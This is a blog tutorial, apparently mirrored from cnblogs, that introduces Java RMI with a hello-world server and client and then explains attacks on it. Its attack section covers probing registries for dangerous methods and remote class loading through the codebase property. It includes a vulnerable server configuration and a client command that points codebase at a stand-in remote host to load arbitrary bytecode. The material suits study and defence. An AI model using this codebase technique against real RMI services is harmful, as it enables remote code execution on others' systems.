首页 > 其他分享 >初识RMI

初识RMI

时间:2023-03-26 17:44:53浏览次数:49  
标签:RMI java server 初识 remote rmi class

1. What is RMI?

Remote Method Invocation (RMI) Much like RPC, it is a mechanism implemented independently by java. This is essentially calling methods from one JVM on an object in another JVM.

RMI relies on the communication Protocol JRMP(Java Remote Message Protocol), which is customized for Java and requires both server and client to be written in Java. This protocol, like the HTTP protocol, specifies the specifications that the client and server should meet when they communicate.

2. Why we use RMI?

RMI, or Remote Method Invocation, is a Java-based technology that enables developers to build distributed applications in which objects running in one Java Virtual Machine (JVM) can invoke methods on objects running in another JVM, thereby enabling distributed communication and computation.

RMI is used for a variety of reasons, including:

  1. Distributed computing: RMI allows developers to build distributed applications that can perform computation and data processing on multiple machines, thereby increasing the overall computing power of the system.
  2. Client-server architecture: RMI can be used to build client-server applications, where the server provides services to multiple clients over the network.
  3. Object-oriented programming: RMI is based on the principles of object-oriented programming, allowing developers to create objects and invoke their methods across different JVMs.
  4. Scalability: RMI allows developers to scale their applications by adding more servers to handle increased traffic or workload.
  5. Security: RMI provides security features that allow developers to secure their applications against unauthorized access and ensure data privacy.

Overall, RMI is a powerful technology that enables developers to build distributed applications that are scalable, secure, and efficient.

3. How to use RMI?

How to write a demo to accomplish the simple RMI implementation?
There are three tasks to complete in this section:

  1. Define the functions of the remote class as an interface written in the Java programming language
  2. Write the implementation and server classes
  3. Write a client program that uses the remote service

1.define the remote interface

define the remote interface,it must satisfy these demand

  • The remote interface must be declared **public**.
  • The remote interface extends the java.rmi.Remote interface.
  • Each method must declare java.rmi.RemoteException (or a superclass of RemoteException) in its throws clause.
  • The data type of any remote object that is passed **as an argument or return value **(either directly or embedded within a local object) must be declared as the remote interface type (for example, Hello) not the implementation class (HelloImpl).

Here is the interface definition for the remote interface, com.cc.IRemoteHelloWorld. The interface contains just one method, hello, which returns a string to the caller:

//1.远程接口
public interface IRemoteHelloWorld extends Remote {
    public String hello(String a) throws RemoteException;
}

2.Write the implementation and server classes

At a minimum, a remote object implementation class must:

The server program needs to:

A security manager needs to be running so that it can guarantee that the classes that get loaded do not perform operations that they are not allowed to perform. If no security manager is specified no class loading, by RMI clients or servers, is allowed, aside from what can be found in the local CLASSPATH.

//2.远程接口实现类
public class RemoteHelloWorld extends UnicastRemoteObject implements IRemoteHelloWorld {
    private static final long serialVersionUID = 3994188957756125383L;

    protected RemoteHelloWorld() throws RemoteException {
        super();
        System.out.println("调用构造函数");
    }

    public String hello(String a) throws RemoteException {
        System.out.println("call from");
        return "Hello world";
    }
}
//3,注册远程对象
private void start() throws Exception {
    //远程对象实例
    RemoteHelloWorld h = new RemoteHelloWorld();
    //创建注册中心
    LocateRegistry.createRegistry(1099);
    //绑定对象实例到注册中心
    Naming.rebind("//127.0.0.1/Hello", h);
}
public static void main(String[] args)throws Exception{
    new RMIServer().start();
}

3.Write a client program that uses the remote service

  • Find the remote object binded via Naming.lookup from Registry
  • invoke the remote objective method
RMIServer.IRemoteHelloWorld hello = (RMIServer.IRemoteHelloWorld) Naming.lookup("rmi://10.1.1.1:1099/Hello");
String ret = hello.hello("hello world");
System.out.println(ret);

Diagram of RMI

image.png

  1. Server make a Registry and binds a instance of object to URL:rmi://127.0.0.1/Hello
  2. TCP 1: Client sent “Call”message(ask objective insatnce and invoke its method)
  3. Server response“ReturnData”(the serialized instance)
  4. TCP 2,The Client deserializes the "ReturnData" and invokes the remote object's methods

4. How to attack RMI?

What can we input?
in the step 1 ,there is a Call message
Call message“ :

  1. Local loading-detect** **dangerous method

int the step 4,we send serialized _ReturnData _to server to dynamic load class.
" ReturnData ":

  1. Remotely loading-Codebase

1. **Local loading-detect **dangerous method

if Registry use** Local loading** to get some evil classes,it maybe vulnerable.

we can use list() to list all the class bindings and lookup()to invoke the methods,if there are some "evil" instances of class that could RCE.We can use the class to invoke it.
One of function the BaRMIe has is to detect dangeros method of class.

2. Remotely loading-Codebase

Formerly, Java can run in a browser,use lable called "Applet",one property of it is codebase.point to a bytecode address(HelloWorld.class).It could remotely loading bytecode.

<applet code="HelloWorld.class" codebase="Applets" width="800" height="600">
</applet>

RMI also exist this scene,refer to codebase property.

codebase is a address,telling the JVM where to seek classes, it is similar to CLASSPATH, _CLASSPATH _is local path,but codebase generally is Remote URL,such as http、ftp.

If we assign codebase=http://example.com/,then load org.vulhub.example.Example class. Then JVM will download http://example.com/org/vulhub/example/Example.class,as the codebyte of Example class.
In RMI, we could send codebase in _ReturnData(step 4),_server will find class in CLASSPATH and codebase after receive this serialized data,because codebase is controlled,we can finish dynamic load arbitrary codebyte.
Of course,it must satify some condition.The RMI will be vulnerable

  • deploy SecurityManager
  • JDK version < 7u21、6u45,Or set java.rmi.server.useCodebaseOnly=false

In JDK 7u21、6u45 java.rmi.server.useCodebaseOnlywas modified from false => true.
In this way, JVM only trust preconfigured codebase.No longer support acuquire from RMI request.

  • a simple codebase demo
// ICalc.java
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;
public interface ICalc extends Remote {
  public Integer sum(List<Integer> params) throws RemoteException;
}

// Calc.java
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;
import java.rmi.server.UnicastRemoteObject;
public class Calc extends UnicastRemoteObject implements ICalc {
    public Calc() throws RemoteException {}
    public Integer sum(List<Integer> params) throws RemoteException {
      Integer sum = 0;
      for (Integer param : params) {
        sum += param;
     }
      return sum;
   }
}

// RemoteRMIServer.java
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;
import java.util.List;
public class RemoteRMIServer {
  private void start() throws Exception {
    if (System.getSecurityManager() == null) {
      System.out.println("setup SecurityManager");
      System.setSecurityManager(new SecurityManager());
   }
    Calc h = new Calc();
    LocateRegistry.createRegistry(1099);
          Naming.rebind("refObj", h);
 }
  public static void main(String[] args) throws Exception {
    new RemoteRMIServer().start();
 }
}

// client.policy
grant {
  permission java.security.AllPermission;
};

RUN:

javac *.java
java -Djava.rmi.server.hostname=192.168.135.142 -Djava.rmi.server.useCodebaseOnly=false -Djava.security.policy=client.policy
RemoteRMIServer

java.rmi.server.hostname is server's IP,You need to access RMIServer based on this value when you call it remotely.
RMIClient.java:

import java.rmi.Naming;
import java.util.List;
import java.util.ArrayList;
import java.io.Serializable;
public class RMIClient implements Serializable {
  public class Payload extends ArrayList<Integer> {}
  public void lookup() throws Exception {
    ICalc r = (ICalc)
Naming.lookup("rmi://192.168.135.142:1099/refObj");
    List<Integer> li = new Payload();
    li.add(3);
    li.add(4);
    System.out.println(r.sum(li));
 }
  public static void main(String[] args) throws Exception {
    new RMIClient().lookup();
 }
}

Note:this Cilent we must run in other place,because we need to let RMI Server couldn't find class in CLASSPATH, it will load classes in codebase,so we could not put the RMIClient.java at directory of RMI Server.
run RMIClient:

java -Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.codebase=http://example.com/ RMIClient

标签:RMI,java,server,初识,remote,rmi,class
From: https://www.cnblogs.com/Rainy-Day/p/17259055.html

相关文章

  • MyBlog2:初识N皇后
    初识N皇后前置知识:如图在9*9的棋盘正中央有一颗皇后棋子。颜色加深位置代表该皇后的攻击范围,可以发现攻击范围是该皇后所在的行,所在的列,以及以皇后为中心的主对角线和次......
  • 初识vue3-setup语法糖,ref和reactive语法,computde计算属性,watch开启监听
    vue3和vue2的区别1,vue3首次渲染更快(Vue3在编译和渲染性能上有了很大的提升,主要是因为使用了Proxy代理和优化算法,使得组件可以更快的渲染)2,diff算法更快3,内存占用体积......
  • 初识跨域、CORS跨域资源共享、JSONP
    初识跨域跨域是什么什么是不同域,什么是同域https(协议)://www.imooc.com(域名):443(端口号)/course/list(路径)协议、域名、端口号,......
  • 初识JSON、JSON的3种形式、JSON的常用方法
    初识JSONJSON是什么Ajax发送和接收数据的一种格式XMLusername=alex&age=18JSON全称是JavaScriptObjectNotation......
  • 初识Vue
    vue是动态构建用户界面的渐进式JavaScript框架:作者是尤雨溪Vue的特点:遵循MVVM模式编码简洁,体积小,运行效率高,适合移动/PC端开发它本身只关注UI,可以引入其它第三方库开发......
  • root Operation not permitted
    问题:  我从虚拟机拷贝文件夹到u盘却出现了这个问题。  可能是这个文件夹没有x权限,于是我准备把源文件夹以及要目的文件夹的权限全改了。   ......
  • 强制删除k8s crd类型资源 Terminating
    转载自:https://www.cnblogs.com/wiseo/p/14887268.html========== 在使用kubernetes过程中,我们经常会遇到无法删除资源的情况,但是如果一一去删除资源比较麻烦。下面给......
  • 初识别localStorage、IocalStorage的注意事项
    初识别localStoragelocalStorage是什么localStorage也是一种浏览器存储数据的方式(本地存储),它只是存储在本地,不会发送到服务器端单个域名下的localS......
  • 第一次初识c语言
    大一第一次认真开始学习c语言,再学完鹏哥前四节内容后有以下收获1:对二进制的理解,数据的存储有一定的初步理解2:对常见的类型有一定了解,不同类型产生目的在于节省空间,而现在的......
  • mac terminal设置网络代理
    我的mac浏览器是可以上github了,但是terminal怎么设置都不走代理(包括把整个无线网都设置为走代理,还是不通),curl https://github.com 不通,后来查了下,有人说terminal在mac设......